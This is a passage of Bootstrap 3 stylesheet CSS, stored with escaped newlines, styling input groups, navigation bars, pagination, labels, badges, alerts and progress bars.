table-cell;\n}\n.input-group-addon:not(:first-child):not(:last-child),\n.input-group-btn:not(:first-child):not(:last-child),\n.input-group .form-control:not(:first-child):not(:last-child) {\n  border-radius: 0;\n}\n.input-group-addon,\n.input-group-btn {\n  width: 1%;\n  white-space: nowrap;\n  vertical-align: middle;\n}\n.input-group-addon {\n  padding: 6px 12px;\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 1;\n  color: #555;\n  text-align: center;\n  background-color: #eee;\n  border: 1px solid #ccc;\n  border-radius: 4px;\n}\n.input-group-addon.input-sm {\n  padding: 5px 10px;\n  font-size: 12px;\n  border-radius: 3px;\n}\n.input-group-addon.input-lg {\n  padding: 10px 16px;\n  font-size: 18px;\n  border-radius: 6px;\n}\n.input-group-addon input[type=\"radio\"],\n.input-group-addon input[type=\"checkbox\"] {\n  margin-top: 0;\n}\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n.input-group-addon:first-child {\n  border-right: 0;\n}\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child),\n.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.input-group-addon:last-child {\n  border-left: 0;\n}\n.input-group-btn {\n  position: relative;\n  font-size: 0;\n  white-space: nowrap;\n}\n.input-group-btn > .btn {\n  position: relative;\n}\n.input-group-btn > .btn + .btn {\n  margin-left: -1px;\n}\n.input-group-btn > .btn:hover,\n.input-group-btn > .btn:focus,\n.input-group-btn > .btn:active {\n  z-index: 2;\n}\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group {\n  margin-right: -1px;\n}\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group {\n  z-index: 2;\n  margin-left: -1px;\n}\n.nav {\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n.nav > li {\n  position: relative;\n  display: block;\n}\n.nav > li > a {\n  position: relative;\n  display: block;\n  padding: 10px 15px;\n}\n.nav > li > a:hover,\n.nav > li > a:focus {\n  text-decoration: none;\n  background-color: #eee;\n}\n.nav > li.disabled > a {\n  color: #777;\n}\n.nav > li.disabled > a:hover,\n.nav > li.disabled > a:focus {\n  color: #777;\n  text-decoration: none;\n  cursor: not-allowed;\n  background-color: transparent;\n}\n.nav .open > a,\n.nav .open > a:hover,\n.nav .open > a:focus {\n  background-color: #eee;\n  border-color: #337ab7;\n}\n.nav .nav-divider {\n  height: 1px;\n  margin: 9px 0;\n  overflow: hidden;\n  background-color: #e5e5e5;\n}\n.nav > li > a > img {\n  max-width: none;\n}\n.nav-tabs {\n  border-bottom: 1px solid #ddd;\n}\n.nav-tabs > li {\n  float: left;\n  margin-bottom: -1px;\n}\n.nav-tabs > li > a {\n  margin-right: 2px;\n  line-height: 1.42857143;\n  border: 1px solid transparent;\n  border-radius: 4px 4px 0 0;\n}\n.nav-tabs > li > a:hover {\n  border-color: #eee #eee #ddd;\n}\n.nav-tabs > li.active > a,\n.nav-tabs > li.active > a:hover,\n.nav-tabs > li.active > a:focus {\n  color: #555;\n  cursor: default;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-bottom-color: transparent;\n}\n.nav-tabs.nav-justified {\n  width: 100%;\n  border-bottom: 0;\n}\n.nav-tabs.nav-justified > li {\n  float: none;\n}\n.nav-tabs.nav-justified > li > a {\n  margin-bottom: 5px;\n  text-align: center;\n}\n.nav-tabs.nav-justified > .dropdown .dropdown-menu {\n  top: auto;\n  left: auto;\n}\n@media (min-width: 768px) {\n  .nav-tabs.nav-justified > li {\n    display: table-cell;\n    width: 1%;\n  }\n  .nav-tabs.nav-justified > li > a {\n    margin-bottom: 0;\n  }\n}\n.nav-tabs.nav-justified > li > a {\n  margin-right: 0;\n  border-radius: 4px;\n}\n.nav-tabs.nav-justified > .active > a,\n.nav-tabs.nav-justified > .active > a:hover,\n.nav-tabs.nav-justified > .active > a:focus {\n  border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n  .nav-tabs.nav-justified > li > a {\n    border-bottom: 1px solid #ddd;\n    border-radius: 4px 4px 0 0;\n  }\n  .nav-tabs.nav-justified > .active > a,\n  .nav-tabs.nav-justified > .active > a:hover,\n  .nav-tabs.nav-justified > .active > a:focus {\n    border-bottom-color: #fff;\n  }\n}\n.nav-pills > li {\n  float: left;\n}\n.nav-pills > li > a {\n  border-radius: 4px;\n}\n.nav-pills > li + li {\n  margin-left: 2px;\n}\n.nav-pills > li.active > a,\n.nav-pills > li.active > a:hover,\n.nav-pills > li.active > a:focus {\n  color: #fff;\n  background-color: #337ab7;\n}\n.nav-stacked > li {\n  float: none;\n}\n.nav-stacked > li + li {\n  margin-top: 2px;\n  margin-left: 0;\n}\n.nav-justified {\n  width: 100%;\n}\n.nav-justified > li {\n  float: none;\n}\n.nav-justified > li > a {\n  margin-bottom: 5px;\n  text-align: center;\n}\n.nav-justified > .dropdown .dropdown-menu {\n  top: auto;\n  left: auto;\n}\n@media (min-width: 768px) {\n  .nav-justified > li {\n    display: table-cell;\n    width: 1%;\n  }\n  .nav-justified > li > a {\n    margin-bottom: 0;\n  }\n}\n.nav-tabs-justified {\n  border-bottom: 0;\n}\n.nav-tabs-justified > li > a {\n  margin-right: 0;\n  border-radius: 4px;\n}\n.nav-tabs-justified > .active > a,\n.nav-tabs-justified > .active > a:hover,\n.nav-tabs-justified > .active > a:focus {\n  border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n  .nav-tabs-justified > li > a {\n    border-bottom: 1px solid #ddd;\n    border-radius: 4px 4px 0 0;\n  }\n  .nav-tabs-justified > .active > a,\n  .nav-tabs-justified > .active > a:hover,\n  .nav-tabs-justified > .active > a:focus {\n    border-bottom-color: #fff;\n  }\n}\n.tab-content > .tab-pane {\n  display: none;\n}\n.tab-content > .active {\n  display: block;\n}\n.nav-tabs .dropdown-menu {\n  margin-top: -1px;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.navbar {\n  position: relative;\n  min-height: 50px;\n  margin-bottom: 20px;\n  border: 1px solid transparent;\n}\n@media (min-width: 768px) {\n  .navbar {\n    border-radius: 4px;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-header {\n    float: left;\n  }\n}\n.navbar-collapse {\n  padding-right: 15px;\n  padding-left: 15px;\n  overflow-x: visible;\n  -webkit-overflow-scrolling: touch;\n  border-top: 1px solid transparent;\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1);\n}\n.navbar-collapse.in {\n  overflow-y: auto;\n}\n@media (min-width: 768px) {\n  .navbar-collapse {\n    width: auto;\n    border-top: 0;\n    -webkit-box-shadow: none;\n            box-shadow: none;\n  }\n  .navbar-collapse.collapse {\n    display: block !important;\n    height: auto !important;\n    padding-bottom: 0;\n    overflow: visible !important;\n  }\n  .navbar-collapse.in {\n    overflow-y: visible;\n  }\n  .navbar-fixed-top .navbar-collapse,\n  .navbar-static-top .navbar-collapse,\n  .navbar-fixed-bottom .navbar-collapse {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n.navbar-fixed-top .navbar-collapse,\n.navbar-fixed-bottom .navbar-collapse {\n  max-height: 340px;\n}\n@media (max-device-width: 480px) and (orientation: landscape) {\n  .navbar-fixed-top .navbar-collapse,\n  .navbar-fixed-bottom .navbar-collapse {\n    max-height: 200px;\n  }\n}\n.container > .navbar-header,\n.container-fluid > .navbar-header,\n.container > .navbar-collapse,\n.container-fluid > .navbar-collapse {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n@media (min-width: 768px) {\n  .container > .navbar-header,\n  .container-fluid > .navbar-header,\n  .container > .navbar-collapse,\n  .container-fluid > .navbar-collapse {\n    margin-right: 0;\n    margin-left: 0;\n  }\n}\n.navbar-static-top {\n  z-index: 1000;\n  border-width: 0 0 1px;\n}\n@media (min-width: 768px) {\n  .navbar-static-top {\n    border-radius: 0;\n  }\n}\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n  position: fixed;\n  right: 0;\n  left: 0;\n  z-index: 1030;\n}\n@media (min-width: 768px) {\n  .navbar-fixed-top,\n  .navbar-fixed-bottom {\n    border-radius: 0;\n  }\n}\n.navbar-fixed-top {\n  top: 0;\n  border-width: 0 0 1px;\n}\n.navbar-fixed-bottom {\n  bottom: 0;\n  margin-bottom: 0;\n  border-width: 1px 0 0;\n}\n.navbar-brand {\n  float: left;\n  height: 50px;\n  padding: 15px 15px;\n  font-size: 18px;\n  line-height: 20px;\n}\n.navbar-brand:hover,\n.navbar-brand:focus {\n  text-decoration: none;\n}\n.navbar-brand > img {\n  display: block;\n}\n@media (min-width: 768px) {\n  .navbar > .container .navbar-brand,\n  .navbar > .container-fluid .navbar-brand {\n    margin-left: -15px;\n  }\n}\n.navbar-toggle {\n  position: relative;\n  float: right;\n  padding: 9px 10px;\n  margin-top: 8px;\n  margin-right: 15px;\n  margin-bottom: 8px;\n  background-color: transparent;\n  background-image: none;\n  border: 1px solid transparent;\n  border-radius: 4px;\n}\n.navbar-toggle:focus {\n  outline: 0;\n}\n.navbar-toggle .icon-bar {\n  display: block;\n  width: 22px;\n  height: 2px;\n  border-radius: 1px;\n}\n.navbar-toggle .icon-bar + .icon-bar {\n  margin-top: 4px;\n}\n@media (min-width: 768px) {\n  .navbar-toggle {\n    display: none;\n  }\n}\n.navbar-nav {\n  margin: 7.5px -15px;\n}\n.navbar-nav > li > a {\n  padding-top: 10px;\n  padding-bottom: 10px;\n  line-height: 20px;\n}\n@media (max-width: 767px) {\n  .navbar-nav .open .dropdown-menu {\n    position: static;\n    float: none;\n    width: auto;\n    margin-top: 0;\n    background-color: transparent;\n    border: 0;\n    -webkit-box-shadow: none;\n            box-shadow: none;\n  }\n  .navbar-nav .open .dropdown-menu > li > a,\n  .navbar-nav .open .dropdown-menu .dropdown-header {\n    padding: 5px 15px 5px 25px;\n  }\n  .navbar-nav .open .dropdown-menu > li > a {\n    line-height: 20px;\n  }\n  .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-nav .open .dropdown-menu > li > a:focus {\n    background-image: none;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-nav {\n    float: left;\n    margin: 0;\n  }\n  .navbar-nav > li {\n    float: left;\n  }\n  .navbar-nav > li > a {\n    padding-top: 15px;\n    padding-bottom: 15px;\n  }\n}\n.navbar-form {\n  padding: 10px 15px;\n  margin-top: 8px;\n  margin-right: -15px;\n  margin-bottom: 8px;\n  margin-left: -15px;\n  border-top: 1px solid transparent;\n  border-bottom: 1px solid transparent;\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1);\n}\n@media (min-width: 768px) {\n  .navbar-form .form-group {\n    display: inline-block;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .navbar-form .form-control {\n    display: inline-block;\n    width: auto;\n    vertical-align: middle;\n  }\n  .navbar-form .form-control-static {\n    display: inline-block;\n  }\n  .navbar-form .input-group {\n    display: inline-table;\n    vertical-align: middle;\n  }\n  .navbar-form .input-group .input-group-addon,\n  .navbar-form .input-group .input-group-btn,\n  .navbar-form .input-group .form-control {\n    width: auto;\n  }\n  .navbar-form .input-group > .form-control {\n    width: 100%;\n  }\n  .navbar-form .control-label {\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .navbar-form .radio,\n  .navbar-form .checkbox {\n    display: inline-block;\n    margin-top: 0;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .navbar-form .radio label,\n  .navbar-form .checkbox label {\n    padding-left: 0;\n  }\n  .navbar-form .radio input[type=\"radio\"],\n  .navbar-form .checkbox input[type=\"checkbox\"] {\n    position: relative;\n    margin-left: 0;\n  }\n  .navbar-form .has-feedback .form-control-feedback {\n    top: 0;\n  }\n}\n@media (max-width: 767px) {\n  .navbar-form .form-group {\n    margin-bottom: 5px;\n  }\n  .navbar-form .form-group:last-child {\n    margin-bottom: 0;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-form {\n    width: auto;\n    padding-top: 0;\n    padding-bottom: 0;\n    margin-right: 0;\n    margin-left: 0;\n    border: 0;\n    -webkit-box-shadow: none;\n            box-shadow: none;\n  }\n}\n.navbar-nav > li > .dropdown-menu {\n  margin-top: 0;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n  margin-bottom: 0;\n  border-top-left-radius: 4px;\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.navbar-btn {\n  margin-top: 8px;\n  margin-bottom: 8px;\n}\n.navbar-btn.btn-sm {\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\n.navbar-btn.btn-xs {\n  margin-top: 14px;\n  margin-bottom: 14px;\n}\n.navbar-text {\n  margin-top: 15px;\n  margin-bottom: 15px;\n}\n@media (min-width: 768px) {\n  .navbar-text {\n    float: left;\n    margin-right: 15px;\n    margin-left: 15px;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-left {\n    float: left !important;\n  }\n  .navbar-right {\n    float: right !important;\n    margin-right: -15px;\n  }\n  .navbar-right ~ .navbar-right {\n    margin-right: 0;\n  }\n}\n.navbar-default {\n  background-color: #f8f8f8;\n  border-color: #e7e7e7;\n}\n.navbar-default .navbar-brand {\n  color: #777;\n}\n.navbar-default .navbar-brand:hover,\n.navbar-default .navbar-brand:focus {\n  color: #5e5e5e;\n  background-color: transparent;\n}\n.navbar-default .navbar-text {\n  color: #777;\n}\n.navbar-default .navbar-nav > li > a {\n  color: #777;\n}\n.navbar-default .navbar-nav > li > a:hover,\n.navbar-default .navbar-nav > li > a:focus {\n  color: #333;\n  background-color: transparent;\n}\n.navbar-default .navbar-nav > .active > a,\n.navbar-default .navbar-nav > .active > a:hover,\n.navbar-default .navbar-nav > .active > a:focus {\n  color: #555;\n  background-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .disabled > a,\n.navbar-default .navbar-nav > .disabled > a:hover,\n.navbar-default .navbar-nav > .disabled > a:focus {\n  color: #ccc;\n  background-color: transparent;\n}\n.navbar-default .navbar-toggle {\n  border-color: #ddd;\n}\n.navbar-default .navbar-toggle:hover,\n.navbar-default .navbar-toggle:focus {\n  background-color: #ddd;\n}\n.navbar-default .navbar-toggle .icon-bar {\n  background-color: #888;\n}\n.navbar-default .navbar-collapse,\n.navbar-default .navbar-form {\n  border-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .open > a:hover,\n.navbar-default .navbar-nav > .open > a:focus {\n  color: #555;\n  background-color: #e7e7e7;\n}\n@media (max-width: 767px) {\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a {\n    color: #777;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus {\n    color: #333;\n    background-color: transparent;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a,\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus {\n    color: #555;\n    background-color: #e7e7e7;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a,\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n    color: #ccc;\n    background-color: transparent;\n  }\n}\n.navbar-default .navbar-link {\n  color: #777;\n}\n.navbar-default .navbar-link:hover {\n  color: #333;\n}\n.navbar-default .btn-link {\n  color: #777;\n}\n.navbar-default .btn-link:hover,\n.navbar-default .btn-link:focus {\n  color: #333;\n}\n.navbar-default .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-default .btn-link:hover,\n.navbar-default .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-default .btn-link:focus {\n  color: #ccc;\n}\n.navbar-inverse {\n  background-color: #222;\n  border-color: #080808;\n}\n.navbar-inverse .navbar-brand {\n  color: #9d9d9d;\n}\n.navbar-inverse .navbar-brand:hover,\n.navbar-inverse .navbar-brand:focus {\n  color: #fff;\n  background-color: transparent;\n}\n.navbar-inverse .navbar-text {\n  color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a {\n  color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a:hover,\n.navbar-inverse .navbar-nav > li > a:focus {\n  color: #fff;\n  background-color: transparent;\n}\n.navbar-inverse .navbar-nav > .active > a,\n.navbar-inverse .navbar-nav > .active > a:hover,\n.navbar-inverse .navbar-nav > .active > a:focus {\n  color: #fff;\n  background-color: #080808;\n}\n.navbar-inverse .navbar-nav > .disabled > a,\n.navbar-inverse .navbar-nav > .disabled > a:hover,\n.navbar-inverse .navbar-nav > .disabled > a:focus {\n  color: #444;\n  background-color: transparent;\n}\n.navbar-inverse .navbar-toggle {\n  border-color: #333;\n}\n.navbar-inverse .navbar-toggle:hover,\n.navbar-inverse .navbar-toggle:focus {\n  background-color: #333;\n}\n.navbar-inverse .navbar-toggle .icon-bar {\n  background-color: #fff;\n}\n.navbar-inverse .navbar-collapse,\n.navbar-inverse .navbar-form {\n  border-color: #101010;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .open > a:hover,\n.navbar-inverse .navbar-nav > .open > a:focus {\n  color: #fff;\n  background-color: #080808;\n}\n@media (max-width: 767px) {\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header {\n    border-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu .divider {\n    background-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a {\n    color: #9d9d9d;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus {\n    color: #fff;\n    background-color: transparent;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus {\n    color: #fff;\n    background-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n    color: #444;\n    background-color: transparent;\n  }\n}\n.navbar-inverse .navbar-link {\n  color: #9d9d9d;\n}\n.navbar-inverse .navbar-link:hover {\n  color: #fff;\n}\n.navbar-inverse .btn-link {\n  color: #9d9d9d;\n}\n.navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link:focus {\n  color: #fff;\n}\n.navbar-inverse .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-inverse .btn-link:focus {\n  color: #444;\n}\n.breadcrumb {\n  padding: 8px 15px;\n  margin-bottom: 20px;\n  list-style: none;\n  background-color: #f5f5f5;\n  border-radius: 4px;\n}\n.breadcrumb > li {\n  display: inline-block;\n}\n.breadcrumb > li + li:before {\n  padding: 0 5px;\n  color: #ccc;\n  content: \"/\\00a0\";\n}\n.breadcrumb > .active {\n  color: #777;\n}\n.pagination {\n  display: inline-block;\n  padding-left: 0;\n  margin: 20px 0;\n  border-radius: 4px;\n}\n.pagination > li {\n  display: inline;\n}\n.pagination > li > a,\n.pagination > li > span {\n  position: relative;\n  float: left;\n  padding: 6px 12px;\n  margin-left: -1px;\n  line-height: 1.42857143;\n  color: #337ab7;\n  text-decoration: none;\n  background-color: #fff;\n  border: 1px solid #ddd;\n}\n.pagination > li:first-child > a,\n.pagination > li:first-child > span {\n  margin-left: 0;\n  border-top-left-radius: 4px;\n  border-bottom-left-radius: 4px;\n}\n.pagination > li:last-child > a,\n.pagination > li:last-child > span {\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 4px;\n}\n.pagination > li > a:hover,\n.pagination > li > span:hover,\n.pagination > li > a:focus,\n.pagination > li > span:focus {\n  z-index: 3;\n  color: #23527c;\n  background-color: #eee;\n  border-color: #ddd;\n}\n.pagination > .active > a,\n.pagination > .active > span,\n.pagination > .active > a:hover,\n.pagination > .active > span:hover,\n.pagination > .active > a:focus,\n.pagination > .active > span:focus {\n  z-index: 2;\n  color: #fff;\n  cursor: default;\n  background-color: #337ab7;\n  border-color: #337ab7;\n}\n.pagination > .disabled > span,\n.pagination > .disabled > span:hover,\n.pagination > .disabled > span:focus,\n.pagination > .disabled > a,\n.pagination > .disabled > a:hover,\n.pagination > .disabled > a:focus {\n  color: #777;\n  cursor: not-allowed;\n  background-color: #fff;\n  border-color: #ddd;\n}\n.pagination-lg > li > a,\n.pagination-lg > li > span {\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n}\n.pagination-lg > li:first-child > a,\n.pagination-lg > li:first-child > span {\n  border-top-left-radius: 6px;\n  border-bottom-left-radius: 6px;\n}\n.pagination-lg > li:last-child > a,\n.pagination-lg > li:last-child > span {\n  border-top-right-radius: 6px;\n  border-bottom-right-radius: 6px;\n}\n.pagination-sm > li > a,\n.pagination-sm > li > span {\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n}\n.pagination-sm > li:first-child > a,\n.pagination-sm > li:first-child > span {\n  border-top-left-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.pagination-sm > li:last-child > a,\n.pagination-sm > li:last-child > span {\n  border-top-right-radius: 3px;\n  border-bottom-right-radius: 3px;\n}\n.pager {\n  padding-left: 0;\n  margin: 20px 0;\n  text-align: center;\n  list-style: none;\n}\n.pager li {\n  display: inline;\n}\n.pager li > a,\n.pager li > span {\n  display: inline-block;\n  padding: 5px 14px;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-radius: 15px;\n}\n.pager li > a:hover,\n.pager li > a:focus {\n  text-decoration: none;\n  background-color: #eee;\n}\n.pager .next > a,\n.pager .next > span {\n  float: right;\n}\n.pager .previous > a,\n.pager .previous > span {\n  float: left;\n}\n.pager .disabled > a,\n.pager .disabled > a:hover,\n.pager .disabled > a:focus,\n.pager .disabled > span {\n  color: #777;\n  cursor: not-allowed;\n  background-color: #fff;\n}\n.label {\n  display: inline;\n  padding: .2em .6em .3em;\n  font-size: 75%;\n  font-weight: bold;\n  line-height: 1;\n  color: #fff;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: baseline;\n  border-radius: .25em;\n}\na.label:hover,\na.label:focus {\n  color: #fff;\n  text-decoration: none;\n  cursor: pointer;\n}\n.label:empty {\n  display: none;\n}\n.btn .label {\n  position: relative;\n  top: -1px;\n}\n.label-default {\n  background-color: #777;\n}\n.label-default[href]:hover,\n.label-default[href]:focus {\n  background-color: #5e5e5e;\n}\n.label-primary {\n  background-color: #337ab7;\n}\n.label-primary[href]:hover,\n.label-primary[href]:focus {\n  background-color: #286090;\n}\n.label-success {\n  background-color: #5cb85c;\n}\n.label-success[href]:hover,\n.label-success[href]:focus {\n  background-color: #449d44;\n}\n.label-info {\n  background-color: #5bc0de;\n}\n.label-info[href]:hover,\n.label-info[href]:focus {\n  background-color: #31b0d5;\n}\n.label-warning {\n  background-color: #f0ad4e;\n}\n.label-warning[href]:hover,\n.label-warning[href]:focus {\n  background-color: #ec971f;\n}\n.label-danger {\n  background-color: #d9534f;\n}\n.label-danger[href]:hover,\n.label-danger[href]:focus {\n  background-color: #c9302c;\n}\n.badge {\n  display: inline-block;\n  min-width: 10px;\n  padding: 3px 7px;\n  font-size: 12px;\n  font-weight: bold;\n  line-height: 1;\n  color: #fff;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: middle;\n  background-color: #777;\n  border-radius: 10px;\n}\n.badge:empty {\n  display: none;\n}\n.btn .badge {\n  position: relative;\n  top: -1px;\n}\n.btn-xs .badge,\n.btn-group-xs > .btn .badge {\n  top: 0;\n  padding: 1px 5px;\n}\na.badge:hover,\na.badge:focus {\n  color: #fff;\n  text-decoration: none;\n  cursor: pointer;\n}\n.list-group-item.active > .badge,\n.nav-pills > .active > a > .badge {\n  color: #337ab7;\n  background-color: #fff;\n}\n.list-group-item > .badge {\n  float: right;\n}\n.list-group-item > .badge + .badge {\n  margin-right: 5px;\n}\n.nav-pills > li > a > .badge {\n  margin-left: 3px;\n}\n.jumbotron {\n  padding-top: 30px;\n  padding-bottom: 30px;\n  margin-bottom: 30px;\n  color: inherit;\n  background-color: #eee;\n}\n.jumbotron h1,\n.jumbotron .h1 {\n  color: inherit;\n}\n.jumbotron p {\n  margin-bottom: 15px;\n  font-size: 21px;\n  font-weight: 200;\n}\n.jumbotron > hr {\n  border-top-color: #d5d5d5;\n}\n.container .jumbotron,\n.container-fluid .jumbotron {\n  border-radius: 6px;\n}\n.jumbotron .container {\n  max-width: 100%;\n}\n@media screen and (min-width: 768px) {\n  .jumbotron {\n    padding-top: 48px;\n    padding-bottom: 48px;\n  }\n  .container .jumbotron,\n  .container-fluid .jumbotron {\n    padding-right: 60px;\n    padding-left: 60px;\n  }\n  .jumbotron h1,\n  .jumbotron .h1 {\n    font-size: 63px;\n  }\n}\n.thumbnail {\n  display: block;\n  padding: 4px;\n  margin-bottom: 20px;\n  line-height: 1.42857143;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-radius: 4px;\n  -webkit-transition: border .2s ease-in-out;\n       -o-transition: border .2s ease-in-out;\n          transition: border .2s ease-in-out;\n}\n.thumbnail > img,\n.thumbnail a > img {\n  margin-right: auto;\n  margin-left: auto;\n}\na.thumbnail:hover,\na.thumbnail:focus,\na.thumbnail.active {\n  border-color: #337ab7;\n}\n.thumbnail .caption {\n  padding: 9px;\n  color: #333;\n}\n.alert {\n  padding: 15px;\n  margin-bottom: 20px;\n  border: 1px solid transparent;\n  border-radius: 4px;\n}\n.alert h4 {\n  margin-top: 0;\n  color: inherit;\n}\n.alert .alert-link {\n  font-weight: bold;\n}\n.alert > p,\n.alert > ul {\n  margin-bottom: 0;\n}\n.alert > p + p {\n  margin-top: 5px;\n}\n.alert-dismissable,\n.alert-dismissible {\n  padding-right: 35px;\n}\n.alert-dismissable .close,\n.alert-dismissible .close {\n  position: relative;\n  top: -2px;\n  right: -21px;\n  color: inherit;\n}\n.alert-success {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #d6e9c6;\n}\n.alert-success hr {\n  border-top-color: #c9e2b3;\n}\n.alert-success .alert-link {\n  color: #2b542c;\n}\n.alert-info {\n  color: #31708f;\n  background-color: #d9edf7;\n  border-color: #bce8f1;\n}\n.alert-info hr {\n  border-top-color: #a6e1ec;\n}\n.alert-info .alert-link {\n  color: #245269;\n}\n.alert-warning {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #faebcc;\n}\n.alert-warning hr {\n  border-top-color: #f7e1b5;\n}\n.alert-warning .alert-link {\n  color: #66512c;\n}\n.alert-danger {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #ebccd1;\n}\n.alert-danger hr {\n  border-top-color: #e4b9c0;\n}\n.alert-danger .alert-link {\n  color: #843534;\n}\n@-webkit-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n@-o-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n@keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n.progress {\n  height: 20px;\n  margin-bottom: 20px;\n  overflow: hidden;\n  background-color: #f5f5f5;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1);\n          box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1);\n}\n.progress-bar {\n  float: left;\n  width: 0;\n  height: 100%;\n  font-size: 12px;\n  line-height: 20px;\n  color: #fff;\n  text-align: center;\n  background-color: #337ab7;\n  -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15);\n          box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15);\n  -webkit-transition: width .6s ease;\n       -o-transition: width .6s ease;\n          transition: width .6s ease;\n}\n.progress-striped .progress-bar,\n.progress-bar-striped {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  -webkit-background-size: 40px 40px;\n          background-size: 40px 